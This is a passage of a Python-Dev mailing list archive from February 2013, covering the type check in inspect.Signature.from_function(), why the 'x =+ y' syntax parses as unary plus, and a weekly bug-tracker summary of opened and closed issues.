Message-ID: <CADiSq7cpQZDZygyuqP655tdAL8QtL4yrZAaERT0pr0wS4vTG4w@mail.gmail.com>

On Sat, Feb 9, 2013 at 1:06 AM, Benjamin Peterson <benjamin at python.org> wrote:
> 2013/2/8 Stefan Behnel <stefan_ml at behnel.de>:
>> Hi,
>>
>> I'm wondering about the purpose of this code in
>> inspect.Signature.from_function():
>>
>> """
>>     if not isinstance(func, types.FunctionType):
>>         raise TypeError('{!r} is not a Python function'.format(func))
>> """
>>
>> Is there any reason why this method would have to explicitly check the type
>> of its argument? Why can't it just accept any object that quacks like a
>> function?
>
> The signature() function checks for types.FunctionType in order to
> call Signature.from_function(). How would you reimplement that?

I assumed Stefan was wanting to use Signature.from_function() to set
__signature__ (as soon as you do that, inspect.signature will do the
right thing).

At the moment, you would have to build the signature by hand (which
was the original intent of the design), but we simply didn't think
about projects like Cython that might be providing the full
types.FunctionType API without being ordinary function instances.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From chris at simplistix.co.uk  Fri Feb  8 16:39:20 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 08 Feb 2013 15:39:20 +0000
Subject: [Python-Dev] why do we allow this syntax?
Message-ID: <51151C28.3020101@simplistix.co.uk>

Hi All,

Just had a bit of an embarrassing incident in some code where I did:

sometotal =+ somevalue

I'm curious why this syntax is allowed? I'm sure there are good reasons, 
but thought I'd ask...

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From donald.stufft at gmail.com  Fri Feb  8 16:41:52 2013
From: donald.stufft at gmail.com (Donald Stufft)
Date: Fri, 8 Feb 2013 10:41:52 -0500
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <51151C28.3020101@simplistix.co.uk>
References: <51151C28.3020101@simplistix.co.uk>
Message-ID: <98E0DC4A0B7C405ABBCEBD4AAE7C0902@gmail.com>

On Friday, February 8, 2013 at 10:39 AM, Chris Withers wrote:
> Hi All,
> 
> Just had a bit of an embarrassing incident in some code where I did:
> 
> sometotal =+ somevalue
I'm guessing this gets parsed as sometotal = +somevalue 
> 
> I'm curious why this syntax is allowed? I'm sure there are good reasons, 
> but thought I'd ask...
> 
> Chris
> 
> -- 
> Simplistix - Content Management, Batch Processing & Python Consulting
> - http://www.simplistix.co.uk
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org (mailto:Python-Dev at python.org)
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/donald.stufft%40gmail.com
> 
> 


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130208/cdac6f25/attachment.html>

From benjamin at python.org  Fri Feb  8 16:42:39 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Fri, 8 Feb 2013 10:42:39 -0500
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <51151C28.3020101@simplistix.co.uk>
References: <51151C28.3020101@simplistix.co.uk>
Message-ID: <CAPZV6o_6=W27rzpnnAgJ=g+jC9ZWSuxUubD0js1YUbyUMpGaQg@mail.gmail.com>

2013/2/8 Chris Withers <chris at simplistix.co.uk>:
> Hi All,
>
> Just had a bit of an embarrassing incident in some code where I did:
>
> sometotal =+ somevalue

That's just a strange way of expressing

sometotal = +somevalue

>
> I'm curious why this syntax is allowed? I'm sure there are good reasons, but
> thought I'd ask...


-- 
Regards,
Benjamin

From rosuav at gmail.com  Fri Feb  8 16:42:57 2013
From: rosuav at gmail.com (Chris Angelico)
Date: Sat, 9 Feb 2013 02:42:57 +1100
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <51151C28.3020101@simplistix.co.uk>
References: <51151C28.3020101@simplistix.co.uk>
Message-ID: <CAPTjJmoB9qSMtpg6UBz-DrhFsuV2eRta07AvFoD4PEHzC8_YDg@mail.gmail.com>

On Sat, Feb 9, 2013 at 2:39 AM, Chris Withers <chris at simplistix.co.uk> wrote:
> Hi All,
>
> Just had a bit of an embarrassing incident in some code where I did:
>
> sometotal =+ somevalue
>
> I'm curious why this syntax is allowed? I'm sure there are good reasons, but
> thought I'd ask...

For the same reason that you can negate a value with:

sometotal = -somevalue

The unary + and - operators are seldom problematic.

ChrisA

From catch-all at masklinn.net  Fri Feb  8 16:50:42 2013
From: catch-all at masklinn.net (Xavier Morel)
Date: Fri, 8 Feb 2013 16:50:42 +0100
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <51151C28.3020101@simplistix.co.uk>
References: <51151C28.3020101@simplistix.co.uk>
Message-ID: <0D9FF447-C507-42FC-B6C6-B80A9B8B8E04@masklinn.net>


On 2013-02-08, at 16:39 , Chris Withers wrote:

> Hi All,
> 
> Just had a bit of an embarrassing incident in some code where I did:
> 
> sometotal =+ somevalue
> 
> I'm curious why this syntax is allowed? I'm sure there are good reasons, but thought I'd ask?

sometotal = (expression) is valid syntax, and +value is valid syntax.

Thus what you wrote is perfectly normal syntax, it's the assignment of a
pos'd value, badly formatted. pep8.py will warn against it (it'll
complain that the whitespace around `+` is wonky). But I see no
justification for disallowing this, anymore than for disallowing the
rougly equivalent (and just as error-prone) `sometotal = -somevalue`.

From stefan_ml at behnel.de  Fri Feb  8 16:52:47 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Fri, 08 Feb 2013 16:52:47 +0100
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <CADiSq7cM4vPmDuRM-mOdnxo1O-ku=DFdjuo=2pi1V=QS-ZN9QQ@mail.gmail.com>
References: <kf30u0$r4m$1@ger.gmane.org>
	<CADiSq7cM4vPmDuRM-mOdnxo1O-ku=DFdjuo=2pi1V=QS-ZN9QQ@mail.gmail.com>
Message-ID: <kf370c$skt$1@ger.gmane.org>

Nick Coghlan, 08.02.2013 16:08:
> On Sat, Feb 9, 2013 at 12:09 AM, Stefan Behnel wrote:
>> I'm wondering about the purpose of this code in
>> inspect.Signature.from_function():
>>
>> """
>>     if not isinstance(func, types.FunctionType):
>>         raise TypeError('{!r} is not a Python function'.format(func))
>> """
>>
>> Is there any reason why this method would have to explicitly check the type
>> of its argument? Why can't it just accept any object that quacks like a
>> function?
> 
> Primarily because the expected approach for alternative objects that
> want to expose signature in 3.3 was for them to provide the
> __signature__ attribute directly, rather than providing the far
> messier grab bag of eclectic attributes exposed by native Python
> functions (there's also a tentative plan kicking around somewhere to
> have a string version for 3.4, so we can start doing something useful
> with functions implemented in C).
> 
> I suspect the specific reason for the lack of ducktyping is merely to
> provide a nice error message when people call the class method rather
> than the module level function, so removing the check sounds
> reasonable to me.  The ultimate decision will be Georg's as RM,
> though. Probably the quickest way to get a decision from him would be
> a tracker issue set to release blocker, with a patch removing those
> two lines and a test confirming that non-functions with the right
> attributes are correctly accepted (e.g. by copying the attributes from
> a real function to a custom object and checking
> Signature.from_function gives the same answer).

Thanks for the feedback, patch is up.

https://bugs.python.org/issue17159

Stefan



From oscar.j.benjamin at gmail.com  Fri Feb  8 16:52:46 2013
From: oscar.j.benjamin at gmail.com (Oscar Benjamin)
Date: Fri, 8 Feb 2013 15:52:46 +0000
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <51151C28.3020101@simplistix.co.uk>
References: <51151C28.3020101@simplistix.co.uk>
Message-ID: <CAHVvXxTSFcu6U1MKu0a719DaSSJwaj__-pGabQZb0E92a-eRWw@mail.gmail.com>

On 8 February 2013 15:39, Chris Withers <chris at simplistix.co.uk> wrote:
> Hi All,
>
> Just had a bit of an embarrassing incident in some code where I did:
>
> sometotal =+ somevalue
>
> I'm curious why this syntax is allowed? I'm sure there are good reasons, but
> thought I'd ask...

Because '+' can represent an unary prefix operator just the same as '-':

>>> +  + -- ++- +- -+ ++3
-3


Oscar

From stefan_ml at behnel.de  Fri Feb  8 16:54:36 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Fri, 08 Feb 2013 16:54:36 +0100
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <CADiSq7cpQZDZygyuqP655tdAL8QtL4yrZAaERT0pr0wS4vTG4w@mail.gmail.com>
References: <kf30u0$r4m$1@ger.gmane.org>
	<CAPZV6o_-CWM5RyabZN3fAVGJJPxSu+AACDGw=TQMdVmq4dYRjw@mail.gmail.com>
	<CADiSq7cpQZDZygyuqP655tdAL8QtL4yrZAaERT0pr0wS4vTG4w@mail.gmail.com>
Message-ID: <kf373o$skt$2@ger.gmane.org>

Nick Coghlan, 08.02.2013 16:20:
> On Sat, Feb 9, 2013 at 1:06 AM, Benjamin Peterson wrote:
>> 2013/2/8 Stefan Behnel:
>>> I'm wondering about the purpose of this code in
>>> inspect.Signature.from_function():
>>>
>>> """
>>>     if not isinstance(func, types.FunctionType):
>>>         raise TypeError('{!r} is not a Python function'.format(func))
>>> """
>>>
>>> Is there any reason why this method would have to explicitly check the type
>>> of its argument? Why can't it just accept any object that quacks like a
>>> function?
>>
>> The signature() function checks for types.FunctionType in order to
>> call Signature.from_function(). How would you reimplement that?

It should call isfunction() instead of running an explicit type check.


> I assumed Stefan was wanting to use Signature.from_function() to set
> __signature__ (as soon as you do that, inspect.signature will do the
> right thing).

Absolutely.

Stefan



From storchaka at gmail.com  Fri Feb  8 17:03:52 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Fri, 08 Feb 2013 18:03:52 +0200
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <51151C28.3020101@simplistix.co.uk>
References: <51151C28.3020101@simplistix.co.uk>
Message-ID: <kf37lb$370$1@ger.gmane.org>

On 08.02.13 17:39, Chris Withers wrote:
> Just had a bit of an embarrassing incident in some code where I did:
>
> sometotal =+ somevalue
>
> I'm curious why this syntax is allowed? I'm sure there are good reasons,
> but thought I'd ask...

And why this syntax is allowed?

     pi = 3,14

And this:

     fruits = [
         'apple',
         'pear',
         'banana'
         'ananas',
         'mango'
     ]



From chris at simplistix.co.uk  Fri Feb  8 17:05:54 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 08 Feb 2013 16:05:54 +0000
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <CAPZV6o_6=W27rzpnnAgJ=g+jC9ZWSuxUubD0js1YUbyUMpGaQg@mail.gmail.com>
References: <51151C28.3020101@simplistix.co.uk>
	<CAPZV6o_6=W27rzpnnAgJ=g+jC9ZWSuxUubD0js1YUbyUMpGaQg@mail.gmail.com>
Message-ID: <51152262.3080105@simplistix.co.uk>

On 08/02/2013 15:42, Benjamin Peterson wrote:
> 2013/2/8 Chris Withers<chris at simplistix.co.uk>:
>> Hi All,
>>
>> Just had a bit of an embarrassing incident in some code where I did:
>>
>> sometotal =+ somevalue
>
> That's just a strange way of expressing
>
> sometotal = +somevalue

Indeed, but why should this be possible? When could it do something 
useful? :-)

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From benjamin at python.org  Fri Feb  8 17:10:21 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Fri, 8 Feb 2013 11:10:21 -0500
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <51152262.3080105@simplistix.co.uk>
References: <51151C28.3020101@simplistix.co.uk>
	<CAPZV6o_6=W27rzpnnAgJ=g+jC9ZWSuxUubD0js1YUbyUMpGaQg@mail.gmail.com>
	<51152262.3080105@simplistix.co.uk>
Message-ID: <CAPZV6o_EVWsVmeaOfzGPja=DW9Xy+xBsh9Sy10QV+A6NThZfAA@mail.gmail.com>

2013/2/8 Chris Withers <chris at simplistix.co.uk>:
> On 08/02/2013 15:42, Benjamin Peterson wrote:
>>
>> 2013/2/8 Chris Withers<chris at simplistix.co.uk>:
>>>
>>> Hi All,
>>>
>>> Just had a bit of an embarrassing incident in some code where I did:
>>>
>>> sometotal =+ somevalue
>>
>>
>> That's just a strange way of expressing
>>
>> sometotal = +somevalue
>
>
> Indeed, but why should this be possible? When could it do something useful?
> :-)

+ is a normal overridable operator.


-- 
Regards,
Benjamin

From oscar.j.benjamin at gmail.com  Fri Feb  8 17:17:55 2013
From: oscar.j.benjamin at gmail.com (Oscar Benjamin)
Date: Fri, 8 Feb 2013 16:17:55 +0000
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <CAPZV6o_EVWsVmeaOfzGPja=DW9Xy+xBsh9Sy10QV+A6NThZfAA@mail.gmail.com>
References: <51151C28.3020101@simplistix.co.uk>
	<CAPZV6o_6=W27rzpnnAgJ=g+jC9ZWSuxUubD0js1YUbyUMpGaQg@mail.gmail.com>
	<51152262.3080105@simplistix.co.uk>
	<CAPZV6o_EVWsVmeaOfzGPja=DW9Xy+xBsh9Sy10QV+A6NThZfAA@mail.gmail.com>
Message-ID: <CAHVvXxQR=j4gSmOkioN4M1GqVuxLdqx+tZ7sBafGa-G1T6Hf4w@mail.gmail.com>

On 8 February 2013 16:10, Benjamin Peterson <benjamin at python.org> wrote:
> 2013/2/8 Chris Withers <chris at simplistix.co.uk>:
>> On 08/02/2013 15:42, Benjamin Peterson wrote:
>>>
>>> 2013/2/8 Chris Withers<chris at simplistix.co.uk>:
>>>>
>>>> Hi All,
>>>>
>>>> Just had a bit of an embarrassing incident in some code where I did:
>>>>
>>>> sometotal =+ somevalue
>>>
>>>
>>> That's just a strange way of expressing
>>>
>>> sometotal = +somevalue
>>
>>
>> Indeed, but why should this be possible? When could it do something useful?
>> :-)
>
> + is a normal overridable operator.

Decimal.__pos__ uses it to return a Decimal instance that has the
default precision of the current Decimal context:

>>> from decimal import Decimal
>>> d = Decimal('0.33333333333333333333333333333333333333')
>>> d
Decimal('0.33333333333333333333333333333333333333')
>>> +d
Decimal('0.3333333333333333333333333333')


Oscar

From status at bugs.python.org  Fri Feb  8 18:07:28 2013
From: status at bugs.python.org (Python tracker)
Date: Fri,  8 Feb 2013 18:07:28 +0100 (CET)
Subject: [Python-Dev] Summary of Python tracker Issues
Message-ID: <20130208170728.4C12556911@psf.upfronthosting.co.za>


ACTIVITY SUMMARY (2013-02-01 - 2013-02-08)
Python tracker at http://bugs.python.org/

To view or respond to any of the issues listed below, click on the issue.
Do NOT respond to this message.

Issues counts and deltas:
  open    3847 ( -1)
  closed 25088 (+60)
  total  28935 (+59)

Open issues with patches: 1674 


Issues opened (45)
==================

#13886: readline-related test_builtin failure
http://bugs.python.org/issue13886  reopened by nadeem.vawda

#17102: tarfile extract can write files outside the destination path
http://bugs.python.org/issue17102  opened by gregory.p.smith

#17103: ampersand "&" in path prevents compilation of Python
http://bugs.python.org/issue17103  opened by gheorghe.mosteoru

#17104: Tk() not defined in Tkinter module
http://bugs.python.org/issue17104  opened by zephyr

#17108: import silently prefers package over module when both availabl
http://bugs.python.org/issue17108  opened by shai

#17110: sys.argv docs should explaining how to handle encoding issues
http://bugs.python.org/issue17110  opened by ncoghlan

#17111: test_surrogates of test_fileio fails sometimes on OS X 10.4
http://bugs.python.org/issue17111  opened by ned.deily

#17112: Some doctest-based tests fail when run with python -OO
http://bugs.python.org/issue17112  opened by ned.deily

#17113: argparse.RawDescriptionHelpFormatter should not delete blank l
http://bugs.python.org/issue17113  opened by roysmith

#17115: __loader__ = None should be fine
http://bugs.python.org/issue17115  opened by brett.cannon

#17116: xml.parsers.expat.(errors|model) don't set the __loader__ attr
http://bugs.python.org/issue17116  opened by brett.cannon

#17117: Update importlib.util.module_for_loader/set_loader to set when
http://bugs.python.org/issue17117  opened by brett.cannon

#17119: Integer overflow when passing large string to Tkinter
http://bugs.python.org/issue17119  opened by serhiy.storchaka

#17120: Mishandled _POSIX_C_SOURCE and _XOPEN_SOURCE in pyconfig.h
http://bugs.python.org/issue17120  opened by RAW

#17121: SSH upload for distutils
http://bugs.python.org/issue17121  opened by christian.heimes

#17123: Add OCSP support to ssl module
http://bugs.python.org/issue17123  opened by christian.heimes

#17126: test_gdb fails
http://bugs.python.org/issue17126  opened by ddvento at ucar.edu

#17127: multiprocessing.dummy.Pool does not accept maxtasksperchild ar
http://bugs.python.org/issue17127  opened by Noah.Yetter

#17128: OS X system openssl deprecated - installer should build local 
http://bugs.python.org/issue17128  opened by ned.deily

#17130: Add runcall() function to profile.py and cProfile.py
http://bugs.python.org/issue17130  opened by gvanrossum

#17131: subprocess.Popen.terminate can raise exception on Posix
http://bugs.python.org/issue17131  opened by siona

#17134: Use Windows' certificate store for CA certs
http://bugs.python.org/issue17134  opened by christian.heimes

#17135: imp doc should direct to importlib
http://bugs.python.org/issue17135  opened by eric.araujo

#17136: ctypes tests fail with clang on non-OS X
http://bugs.python.org/issue17136  opened by djc

#17137: Malfunctioning compiled code in Python 3.3 x64
http://bugs.python.org/issue17137  opened by pepalogik

#17138: XPath error in xml.etree.ElementTree
http://bugs.python.org/issue17138  opened by Antoine2008

#17140: Provide a more obvious public ThreadPool API
http://bugs.python.org/issue17140  opened by ncoghlan

#17141: random.vonmisesvariate() hangs for large kappa
http://bugs.python.org/issue17141  opened by serhiy.storchaka

#17143: trace.py uses _warn without importing it
http://bugs.python.org/issue17143  opened by Dmitry.Jemerov

#17144: Distutils: "sdist register upload" ignores -r argument
http://bugs.python.org/issue17144  opened by gwrtheyrn

#17145: memoryview(array.array)
http://bugs.python.org/issue17145  opened by dbrecht

#17146: Improve test.support.import_fresh_module()
http://bugs.python.org/issue17146  opened by eric.snow

#17147: BytesIO should be mentioned in SpooledTemporaryFile documentat
http://bugs.python.org/issue17147  opened by serhiy.storchaka

#17148: mingw: nt thread model detection
http://bugs.python.org/issue17148  opened by rpetrov

#17149: random.vonmisesvariate() results range is inconsistent for sma
http://bugs.python.org/issue17149  opened by serhiy.storchaka

#17150: pprint could use line continuation for long string literals
http://bugs.python.org/issue17150  opened by pitrou

#17152: Array module should support "boolean" natively
http://bugs.python.org/issue17152  opened by jcea

#17153: tarfile extract fails when Unicode in pathname
http://bugs.python.org/issue17153  opened by vinay.sajip

#17154: the 'ignore' pdb command raises IndexError
http://bugs.python.org/issue17154  opened by xdegaye

#17155: Logging throwing UnicodeEncodeError exception
http://bugs.python.org/issue17155  opened by Kronuz

#17156: Tools/i18n/pygettext.py doesn't parse unicode string.
http://bugs.python.org/issue17156  opened by umedoblock

#17157: issubclass() should accept iterables in 2nd arg
http://bugs.python.org/issue17157  opened by ramchandra.apte

#17158: help() module searcher text is misleading
http://bugs.python.org/issue17158  opened by ramchandra.apte

#17159: Remove explicit type check from inspect.Signature.from_functio
http://bugs.python.org/issue17159  opened by scoder

#17160: test_urllib2net fails
http://bugs.python.org/issue17160  opened by ddvento at ucar.edu



Most recent 15 issues with no replies (15)
==========================================

#17160: test_urllib2net fails
http://bugs.python.org/issue17160

#17158: help() module searcher text is misleading
http://bugs.python.org/issue17158

#17155: Logging throwing UnicodeEncodeError exception
http://bugs.python.org/issue17155

#17154: the 'ignore' pdb command raises IndexError
http://bugs.python.org/issue17154

#17153: tarfile extract fails when Unicode in pathname
http://bugs.python.org/issue17153

#17148: mingw: nt thread model detection
http://bugs.python.org/issue17148

#17147: BytesIO should be mentioned in SpooledTemporaryFile documentat
http://bugs.python.org/issue17147

#17140: Provide a more obvious public ThreadPool API
http://bugs.python.org/issue17140

#17138: XPath error in xml.etree.ElementTree
http://bugs.python.org/issue17138

#17131: subprocess.Popen.terminate can raise exception on Posix
http://bugs.python.org/issue17131

#17130: Add runcall() function to profile.py and cProfile.py
http://bugs.python.org/issue17130

#17127: multiprocessing.dummy.Pool does not accept maxtasksperchild ar
http://bugs.python.org/issue17127

#17120: Mishandled _POSIX_C_SOURCE and _XOPEN_SOURCE in pyconfig.h
http://bugs.python.org/issue17120

#17119: Integer overflow when passing large string to Tkinter
http://bugs.python.org/issue17119

#17116: xml.parsers.expat.(errors|model) don't set the __loader__ attr
http://bugs.python.org/issue17116



Most recent 15 issues waiting for review (15)
=============================================

#17159: Remove explicit type check from inspect.Signature.from_functio
http://bugs.python.org/issue17159

#17156: Tools/i18n/pygettext.py doesn't parse unicode string.
http://bugs.python.org/issue17156

#17148: mingw: nt thread model detection
http://bugs.python.org/issue17148

#17147: BytesIO should be mentioned in SpooledTemporaryFile documentat
http://bugs.python.org/issue17147

#17145: memoryview(array.array)
http://bugs.python.org/issue17145

#17143: trace.py uses _warn without importing it
http://bugs.python.org/issue17143

#17141: random.vonmisesvariate() hangs for large kappa
http://bugs.python.org/issue17141

#17137: Malfunctioning compiled code in Python 3.3 x64
http://bugs.python.org/issue17137

#17111: test_surrogates of test_fileio fails sometimes on OS X 10.4
http://bugs.python.org/issue17111

#17095: Modules/Setup *shared* support broken
http://bugs.python.org/issue17095

#17094: sys._current_frames() reports too many/wrong stack frames
http://bugs.python.org/issue17094

#17089: Expat parser parses strings only when XML encoding is UTF-8
http://bugs.python.org/issue17089

#17086: backport cross-build patches to the 2.7 branch
http://bugs.python.org/issue17086

#17082: Fix test discovery for test_dbm*.py
http://bugs.python.org/issue17082

#17080: A better error message for float()
http://bugs.python.org/issue17080



Top 10 most discussed issues (10)
=================================

#17137: Malfunctioning compiled code in Python 3.3 x64
http://bugs.python.org/issue17137  18 msgs

#17121: SSH upload for distutils
http://bugs.python.org/issue17121  15 msgs

#5308: cannot marshal objects with more than 2**31 elements
http://bugs.python.org/issue5308  12 msgs

#17047: Fix double double words words
http://bugs.python.org/issue17047  11 msgs

#13355: random.triangular error when low = high=mode
http://bugs.python.org/issue13355  10 msgs

#16038: ftplib: unlimited readline() from connection
http://bugs.python.org/issue16038  10 msgs

#17128: OS X system openssl deprecated - installer should build local 
http://bugs.python.org/issue17128  10 msgs

#17108: import silently prefers package over module when both availabl
http://bugs.python.org/issue17108   9 msgs

#16555: Add es_cu to locale aliases
http://bugs.python.org/issue16555   8 msgs

#17100: rotating an ordereddict
http://bugs.python.org/issue17100   8 msgs



Issues closed (58)
==================

#2840: Expat parser locks XML source file if ContentHandler raises an
http://bugs.python.org/issue2840  closed by serhiy.storchaka

#3754: cross-compilation support for python build
http://bugs.python.org/issue3754  closed by rpetrov

#3871: cross and native build of python for mingw* hosts
http://bugs.python.org/issue3871  closed by doko

#4011: Create DAG for PEP 101
http://bugs.python.org/issue4011  closed by georg.brandl

#5289: ctypes.util.find_library does not work under Solaris
http://bugs.python.org/issue5289  closed by python-dev

#6972: zipfile.ZipFile overwrites files outside destination path
http://bugs.python.org/issue6972  closed by gregory.p.smith

#8754: quote bad module name in ImportError-like messages
http://bugs.python.org/issue8754  closed by brett.cannon

#11159: Sax parser crashes if given unicode file name
http://bugs.python.org/issue11159  closed by serhiy.storchaka

#12177: re.match raises MemoryError
http://bugs.python.org/issue12177  closed by serhiy.storchaka

#12268: file readline, readlines & readall methods can lose data on EI
http://bugs.python.org/issue12268  closed by gregory.p.smith

#12779: Update packaging documentation
http://bugs.python.org/issue12779  closed by eric.araujo

#13192: ImportError silences low-level OS errors
http://bugs.python.org/issue13192  closed by pitrou

#13541: HTTPResponse (urllib) has no attribute read1 needed for TextIO
http://bugs.python.org/issue13541  closed by serhiy.storchaka

#14263: switch_index_if_fails fails on py2
http://bugs.python.org/issue14263  closed by serhiy.storchaka

#14340: Update embedded copy of expat - fix security & crash issues
http://bugs.python.org/issue14340  closed by gregory.p.smith

#14580: imp.reload can fail for sub-modules
http://bugs.python.org/issue14580  closed by brett.cannon

#14724: kill imp.load_dynamic's third argument
http://bugs.python.org/issue14724  closed by brett.cannon

#14940: Usage documentation for pysetup
http://bugs.python.org/issue14940  closed by eric.araujo

#15116: remove out-of-date Mac application scripting documentation
http://bugs.python.org/issue15116  closed by ned.deily

#15298: _sysconfigdata is generated in srcdir, not builddir
http://bugs.python.org/issue15298  closed by ned.deily

#15344: devinabox: failure when running make_a_box multiple times
http://bugs.python.org/issue15344  closed by brett.cannon

#15359: Sockets support for CAN_BCM
http://bugs.python.org/issue15359  closed by neologix

#15483: CROSS: initialise include and library paths in setup.py
http://bugs.python.org/issue15483  closed by rpetrov

#15633: httplib.response is not closed after all data has been read
http://bugs.python.org/issue15633  closed by pitrou

#15881: multiprocessing 'NoneType' object is not callable
http://bugs.python.org/issue15881  closed by benjamin.peterson

#16137: Using time.asctime() with an array with negative tm_hour cause
http://bugs.python.org/issue16137  closed by belopolsky

#16256: permissions wrong on Mac doc dir
http://bugs.python.org/issue16256  closed by ned.deily

#16526: Python does not cross compile properly
http://bugs.python.org/issue16526  closed by doko

#16698: test_posix.test_getgroups fails on some systems
http://bugs.python.org/issue16698  closed by ned.deily

#16723: io.TextIOWrapper on urllib.request.urlopen terminates prematur
http://bugs.python.org/issue16723  closed by serhiy.storchaka

#16811: email.message.Message flatten dies of list index out of range
http://bugs.python.org/issue16811  closed by r.david.murray

#16903: subprocess.Popen.communicate with universal_newlines=True does
http://bugs.python.org/issue16903  closed by serhiy.storchaka

#16948: email.mime.text.MIMEText: QP encoding broken with charset!=ISO
http://bugs.python.org/issue16948  closed by r.david.murray

#17015: mock could be smarter and inspect the spec's signature
http://bugs.python.org/issue17015  closed by pitrou

#17034: Use Py_CLEAR() in stringobject.c and bytesobject.c
http://bugs.python.org/issue17034  closed by serhiy.storchaka

#17069: HTTP result code in urllib2.urlopen() file object undocumented
http://bugs.python.org/issue17069  closed by orsenthil

#17073: Integer overflow in sqlite module
http://bugs.python.org/issue17073  closed by serhiy.storchaka

#17076: shutil.copytree failing on xattr-less filesystems (like NFS)
http://bugs.python.org/issue17076  closed by hynek

#17077: Fix test_tools hangs
http://bugs.python.org/issue17077  closed by serhiy.storchaka

#17091: thread.lock.acquire docstring bug
http://bugs.python.org/issue17091  closed by r.david.murray

#17092: Disable TIPC in configure
http://bugs.python.org/issue17092  closed by ddvento at ucar.edu

#17098: Set __loader__ on modules imported by the C level
http://bugs.python.org/issue17098  closed by brett.cannon

#17105: Python 3.2 segfault
http://bugs.python.org/issue17105  closed by skrah

#17106: assertion error in IO reading text file as binary
http://bugs.python.org/issue17106  closed by serhiy.storchaka

#17107: test_sni in test_urllib2net could be enabled
http://bugs.python.org/issue17107  closed by pitrou

#17109: unittest.mock has wrong heading levels
http://bugs.python.org/issue17109  closed by python-dev

#17114: Python IDLE GUI does not open in Ubuntu 12.04
http://bugs.python.org/issue17114  closed by serhiy.storchaka

#17118: Add tests for testing Python-Tcl interaction
http://bugs.python.org/issue17118  closed by serhiy.storchaka

#17122: Fix and cleanup test_functools
http://bugs.python.org/issue17122  closed by serhiy.storchaka

#17124: import subprocess hangs for ~25 seconds, time.py file in dir -
http://bugs.python.org/issue17124  closed by neologix

#17125: tokenizer.tokenize passes a bytes object to str.startswith
http://bugs.python.org/issue17125  closed by r.david.murray

#17129: Include CA bundle and provide access to system's CA
http://bugs.python.org/issue17129  closed by eric.araujo

#17132: yield_arg missing from symbol.sym_name
http://bugs.python.org/issue17132  closed by python-dev

#17133: ssl.wrap_socket doesn't take server_hostname as a kwarg
http://bugs.python.org/issue17133  closed by pitrou

#17139: dateTime.now() return format missing decimal seconds.
http://bugs.python.org/issue17139  closed by mark.dickinson

#17142: test_any calls all() instead of any()
http://bugs.python.org/issue17142  closed by r.david.murray

#17151: Python 3 changement of behavior with __ne__: documentation not
http://bugs.python.org/issue17151  closed by mark.dickinson

#1597850: Cross compiling patches for MINGW
http://bugs.python.org/issue1597850  closed by hanwen

From pje at telecommunity.com  Fri Feb  8 19:46:08 2013
From: pje at telecommunity.com (PJ Eby)
Date: Fri, 8 Feb 2013 13:46:08 -0500
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <kf373o$skt$2@ger.gmane.org>
References: <kf30u0$r4m$1@ger.gmane.org>
	<CAPZV6o_-CWM5RyabZN3fAVGJJPxSu+AACDGw=TQMdVmq4dYRjw@mail.gmail.com>
	<CADiSq7cpQZDZygyuqP655tdAL8QtL4yrZAaERT0pr0wS4vTG4w@mail.gmail.com>
	<kf373o$skt$2@ger.gmane.org>
Message-ID: <CALeMXf40raYvkX4UJf37p1Cmxy_n1aV_KJfh44VKDhXJD0F0Aw@mail.gmail.com>

On Fri, Feb 8, 2013 at 10:54 AM, Stefan Behnel <stefan_ml at behnel.de> wrote:
> Nick Coghlan, 08.02.2013 16:20:
>> On Sat, Feb 9, 2013 at 1:06 AM, Benjamin Peterson wrote:
>>> 2013/2/8 Stefan Behnel:
>>>> I'm wondering about the purpose of this code in
>>>> inspect.Signature.from_function():
>>>>
>>>> """
>>>>     if not isinstance(func, types.FunctionType):
>>>>         raise TypeError('{!r} is not a Python function'.format(func))
>>>> """
>>>>
>>>> Is there any reason why this method would have to explicitly check the type
>>>> of its argument? Why can't it just accept any object that quacks like a
>>>> function?
>>>
>>> The signature() function checks for types.FunctionType in order to
>>> call Signature.from_function(). How would you reimplement that?
>
> It should call isfunction() instead of running an explicit type check.

Isn't it possible now for an object to implement __instancecheck__ and
claim to be an instance of FunctionType, anyway?  (For that matter,
shouldn't there be some ABCs for this?)

From chris at simplistix.co.uk  Fri Feb  8 18:45:28 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 08 Feb 2013 17:45:28 +0000
Subject: [Python-Dev] why do we allow this syntax?
In-Reply-To: <CAHVvXxQR=j4gSmOkioN4M1GqVuxLdqx+tZ7sBafGa-G1T6Hf4w@mail.gmail.com>
References: <51151C28.3020101@simplistix.co.uk>
	<CAPZV6o_6=W27rzpnnAgJ=g+jC9ZWSuxUubD0js1YUbyUMpGaQg@mail.gmail.com>
	<51152262.3080105@simplistix.co.uk>
	<CAPZV6o_EVWsVmeaOfzGPja=DW9Xy+xBsh9Sy10QV+A6NThZfAA@mail.gmail.com>
	<CAHVvXxQR=j4gSmOkioN4M1GqVuxLdqx+tZ7sBafGa-G1T6Hf4w@mail.gmail.com>
